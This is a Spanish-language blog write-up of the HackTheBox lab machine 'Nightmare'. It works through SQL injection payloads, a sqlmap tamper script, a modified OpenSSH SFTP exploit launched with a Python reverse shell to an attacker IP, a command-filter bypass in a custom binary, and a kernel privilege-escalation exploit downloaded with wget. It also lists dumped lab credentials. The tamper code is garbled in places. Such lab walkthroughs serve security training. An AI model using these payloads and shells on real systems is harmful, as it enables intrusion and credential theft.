· Manuel López Pérez · writeups  · 5 min read

WriteUp - Nightmare (HackTheBox)

Write-up de Nightmare (HackTheBox): máquina Linux alta que explota SQLi para extraer credenciales, obtiene RCE vía exploit SFTP 32-bit modificado, y escala a root con reversing de binario Decoder + abuso de grupo disk con debugfs.

Write-up de Nightmare (HackTheBox): máquina Linux alta que explota SQLi para extraer credenciales, obtiene RCE vía exploit SFTP 32-bit modificado, y escala a root con reversing de binario Decoder + abuso de grupo disk con debugfs.

WriteUp - Nightmare (HackTheBox)En este post haremos la máquina Nightmare de HackTheBox Es una maquina Linux bastante complicada, para mí una de las más dificiles de HTB. Primero nos enfrentaremos a un SQLi, después tendremos que modificar un exploit en c para obtener shell; una vez tenemos shell tendremos que enfrentarnos a un reversing y finalmente tendremos que modificar otro exploit en c. Mi nick en HackTheBox es: manulqwerty También quiero agradecer la ayuda a mi equipo de htb: L1k0rD3B3ll0t4 Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de puertos con nmap:

nmap -sC -sV 10.10.10.66

Vamos a echarle un ojo a la web; buscaremos ficheros/directorios ocultos con gobuster:

gobuster -u http://10.10.10.66 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 100 -l

Tras revisar los resultados vemos que tenemos un register.php y un login:

SQLi

Cómo vemos en el próximo gif, si incluimos la comilla típica, al logear nos devuelve “SQL ERROR”

Explotación

Para facilitar la inyección usaremos el Repeater de Burpsuite:

Como vemos en el SQLi Cheat-Sheet, lo primero será adivinar el número de campos con order by hasta que no dé error:

 iron')order+by+3# iron')order+by+2# iron')union+select+all+1,@@version# iron')union+select+all+1,database()# iron')union+select+all+1,table_schema+from+information_schema.tables# iron')union+select+all+1,table_name+from+information_schema.tables+where+table_schema='sysadmin'# iron')union+select+all+1,column_name+from+information_schema.columns+where+table_name='users'# iron')+union+select+1,(select+group_concat(username,0x3a,password)+from+sysadmin.users)# 

Obtenemos las siguientes credenciales:

 admin:nimda, cisco:cisco123, adminstrator:Pyuhs738?183*hjO!, josh:tontochilegge, system:manager, root:HasdruBal78, decoder:HackerNumberOne!, ftpuser:@whereyougo?, sys:change_on_install, superuser:passw0rd, user:odiolafeta 

Otra forma de sacar esta SQLi es crearnos un tamper :

sqlmap -r register.req --dbms MySql --second-order "http://10.10.10.66/notes.php" --tamper TamperNightmare.py --batch -D sysadmin -T users --dump-all --no-cast
#By
@3v4Si0N &
@superfume (Team: L1k0rD3B3ll0t4)
import requests
from lib.core.enums
import PRIORITY
from random
import sample
__priority__ = PRIORITY.NORMAL
import base64
import json
import urllib
def dependencies():
    pass
    def crear_user(payload):
        session0 = requests.Session()
        paramsPost0 = {"pass":"sapo","user":"injectHere","register":"Register"}
        headers0 = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://10.10.10.66/register.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1","Content-Type":"application/x-www-form-urlencoded"} paramsPost0['user'] = payload
        response0 = session0.post("http://10.10.10.66/register.php",
        data=paramsPost0,
        headers=headers0,
        allow_redirects=False) return
        def logout(payload):
            session1 = requests.Session()
            paramsGet1 = {"logout":""}
            headers1 = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://10.10.10.66/notes.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
            cookies1 = {"PHPSESSID":"iirf7pil9bnpp95ghaedthjjs2"}
            cookies1 = new_cookie(payload)
            response1 = session1.get("http://10.10.10.66/index.php",
            params=paramsGet1,
            headers=headers1,
            cookies=cookies1,
            allow_redirects=False) return
            def new_cookie(payload):
                session = requests.Session()
                paramsPost = {"login":"Login","pass":"sapo","user":"sapo"}
                headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://10.10.10.66/index.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1","Content-Type":"application/x-www-form-urlencoded"} paramsPost['user'] = payload
                response = session.post("http://10.10.10.66/index.php",
                data=paramsPost,
                headers=headers,
                allow_redirects=False)
                return response.cookies.get_dict()
                def tamper(payload, **kwargs):
                    payload = str(payload) crear_user(payload) logout(payload)
                    headers = kwargs.get("headers", {})
                    cookie = pillar_cookie(payload) headers["Cookie"] = "PHPSESSID=" + str(cookie["PHPSESSID"])
                    return payload

Exploit SFTP

Con las credenciales ftpuser:@whereyougo? podemos entrar al sftp:

En el nmap leemos: SSH-2.0-OpenSSH 32bits (not so recent ver) Buscamos por exploits de openssh sftp y encontramos: https://github.com/0x90/openssh-sftp-sploit/blob/master/sshsploit.c El problema es que este exploit es para 64 bits, tenemos que hacer unos ajustes (cambiar los tipos de las variables p.ej long long a unsigned int): https://github.com/ironHackersDev/htb-stuff/blob/master/sshsploit32bits.c Comprobamos que funciona con un ping como comando:

./sshsploit 10.10.10.66 2222 ftpuser "ping 10.10.14.6"

Para obtener shell, elegimos la reversa de python (recordad escapara las comillas):

./sshsploit 10.10.10.66 2222 ftpuser "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.6\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

Post-Explotación

Revisamos la version del kernel:

uname -a

Parece que es vulnerable a https://www.exploit-db.com/exploits/43418/ Pero no podemos escribir ni ejecutar en ningún sitio. Sigamos enumerando:

Buscamos ficheros del grupo Decoder, encontramos un binario que parece ser un ls modificado: Nos lo descargamos a través del sftp y lo abrimos con el IDA PRO: Tal y como vemos en el pseudo-c que nos genera IDA PRO debemos pasarle como parámetro -b y debemos hacer que no se cumplan los if de las lineas 31 y 35 para ejecutar con system(s) el segundo parametro que le pasemos.

 #include <stdio.h> #include <string.h>

int main(int argc,char *argv[]){

int i,v3,v4,v6=0; char s[]="/bin/ls";

for (i=1;i<argc;i++){ if (*argv[i] != '-' || *(argv[i]+1) != 'b'){ v3 = strlen(s); v4 = v3 + strlen (argv[i]) +2; strcat (s,argv[i]); } else v6 = 1; } printf("s : %s\\n",s); char* haystack=s+7;

if (s[7]){ if (strstr(haystack,"$(") || strchr(haystack,'\\n') && !v6) printf("exit(1)\\n"); while (*haystack){ if (strchr("|`&><'\"\\\\[]{};", *haystack)) printf("exit(0)\\n"); ++haystack; } }

system(s); return 0; } 

Para que nos ejecute el segundo argumento que le pasamos debemos incluir un salto de línea, sino nos concatenará los comandos:

Aprovechándonos de la opción -p de bash (también le ponemos -i (interactive shell), aun que no es necesario), la ejecucion de /bin/sls con los correctos argumentos nos hará formar parte del grupo decoder:

/usr/bin/sls -b ' bash -ip'

Ahora somos parte del grupo decoder y podemos escribir y ejecutar ficheros en /home/decoder/test. Sabemos que la versión es xenial 4.8.0-58-generic así que modificaremos y subiremos el exploit 43418.c : https://github.com/ironHackersDev/htb-stuff/blob/master/43418forNightmare.c

 //modificamos el struct y dejamos solo la versión que nos interesa //[...] struct kernel_info kernels[] = { { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, }; //[...] //modificamos la función detect_versions() : void detect_versions() { char codename[DISTRO_CODENAME_LENGTH]; char version[KERNEL_VERSION_LENGTH];

get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);

int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(&codename[0], kernels[i].distro) == 0 && strcmp(&version[0], kernels[i].version) == 0) { printf("[.] kernel version '%s' detected\\n", kernels[i].version); kernel = i; return; } } kernel = 0; return; } //[...] 

Lo compilamos en nuestra máquina:

gcc 43418mod.c -o pwn http-server -p 80

Y lo subimos con wget a /home/decoder/test :

cd /home/decoder/test wget http://10.10.14.6/pwn chmod +x pwn

Al ejecutarlo desde el grupo decoder no funciona, pero al probar desde ftuser conseguimos ser root:

Back to Blog

Related Posts

View All Posts »
WriteUp - Nightmare (HackTheBox)

WriteUp - Nightmare (HackTheBox)

Nightmare write-up (HackTheBox): high-level Linux machine that exploits SQLi to extract credentials, obtains RCE via modified 32-bit SFTP exploit, and escalates to root with Decoder binary reversing + disk group abuse with debugfs.

WriteUp – Crimestoppers (HackTheBox)

WriteUp – Crimestoppers (HackTheBox)

Crimestoppers write-up (HackTheBox): high-level Linux machine that exploits LFI with PHP wrappers to read source code, uploads webshell via ZIP wrapper, steals Thunderbird credentials, and obtains root access by reversing a rootkit (mod-rootme) or Apache logs.

WriteUp – Crimestoppers (HackTheBox)

WriteUp – Crimestoppers (HackTheBox)

Write-up de Crimestoppers (HackTheBox): máquina Linux de nivel alto que explota LFI con wrappers PHP para leer código fuente, sube webshell vía ZIP wrapper, roba credenciales de Thunderbird y obtiene root con reversing de un rootkit (mod-rootme) o logs de Apache.

WriteUp - Fighter (HackTheBox)

WriteUp - Fighter (HackTheBox)

Write-up of Fighter (HackTheBox): medium-level Windows machine exploiting time-based SQLi to extract credentials, gets RCE via xp_cmdshell + msbuild NPS payload, and escalates to SYSTEM with Capcom.sys (CVE-2019-7253) + bypass of checks.